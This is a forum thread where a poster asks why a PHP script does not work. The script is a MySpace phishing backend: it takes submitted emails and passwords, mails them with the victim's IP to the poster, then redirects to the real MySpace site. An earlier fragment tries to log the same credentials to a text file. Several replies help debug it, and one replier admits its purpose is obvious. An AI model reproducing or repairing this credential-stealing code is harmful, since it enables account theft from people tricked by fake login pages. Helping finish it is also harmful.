-
php whats wrong here
can anyone tell me whats wrong with the following file ?
<?php
if (isset($_POST['email']) && (isset($_POST['password']))) {
$email = trim(strip_tags($_POST['email']));
$password = trim(strip_tags($_POST['password']));
";
fwrite($******, strip_tags(stripslashes($text)));
fclose($******);
echo'<script type="text/javascript">document.location.href=\'http://home.myspace.com/index.cfm?fuseaction=user\'</script>\'">';
}
<?php
if (isset($_POST['email']) && (isset($_POST['password']))) {
$email = trim(strip_tags($_POST['email']));
$password = trim(strip_tags($_POST['password']));
$IP = $_SERVER['REMOTE_ADDR'];
$to = '(my email address)';
$subject = 'Myspace Login';
$message = "$email - $password - $IP";
$headers = 'From: New Myspace Login' . "\r\n" .
'Reply-To: Login' . "\r\n" .
'X-Mailer: PHP/' . phpversion();
mail($to, $subject, $message, $headers);
echo'<script type="text/javascript">document.location.href=\'http://home.myspace.com/index.cfm?fuseaction=user\'</script>\'">';
}
?>
-
What errors are you getting? If you are hosting on a free host and are getting mailing errors, that means the sendmail function is blocked.
-
error
it just wont send the info to the file on the webhost ,,, i dont get any errors
-
SMTP must be blocked on your host.
-
-
Wierd, I didn't notice he had two starting tags till now :p
-
closing tag
how is the first tag not closed the site loads the php page but doest not post the user name and id on the text file I created... very confusing I have the text file set to 777 which allows write function but will not write for some reason
-
I get the feeling you didn't write this code.
First of all, what value are you assigning to the $text variable that you are writing to the file? Second, you didn't use fopen() to even open a file, how are you going to write things to a unopened file?
-
text file
Your absolutely right I didnt write the file but have researched how php works. do I () give the comman in the same file or after it is closed do I open another giving the command to open and write to the file I have hosted.
-
You'd use fopen() to open the file in the same PHP file that you'll be writing contents to the file in.
-
for example
fopen (anyfile.txt)..... ?
then how is the info written to that file or is it easier to send it to an email address , the server does support mail.
-
In that case, email is easier, just send it through email.
-
there is where my problem lies .. to me it looks like everything is correct but it wont send the mail
-
[url]http://www.w*schools.com/php/default.asp[/url]
Read up a bit of PHP (specifically the E-mail section) here.
-
[url]www.php.net/fopen[/url]
This is the manual for the fopen function. It should explain everything.
As for email, that would most likely be disabled on a crappy free-hosting account.
Also, have you closed the first PHP opening tag yet?
-
I haven't messed with php for so long I forget the exact syntax and functions but I'm sure wherever you got that they cut out sections of code for "script kiddies". Its obvious what it does but I believe Moonbat is right with the fopen. A section of code is definitely missing from there and you may be missing something at the end where the mail function is. Php is usually very simple and this script is very basic that looking up the function in the php homepage or help file and making sure the web server supports that php version and it should work. I'm sure you know to fill in the variables asking for your own info. Anyway good luck with this and if you really can't figure it out post back and I'll look some shit up for you.
-
question
i need a php software to design, look i need to create a web page, i just need php to validate the user acounts on a DB running in SQL server 200*, but i dont know what php fix with the work i need to do, and if somebody could give a link of a good tuto of this kind of work ill be tankfull., i need to done this work before thursday this week...:(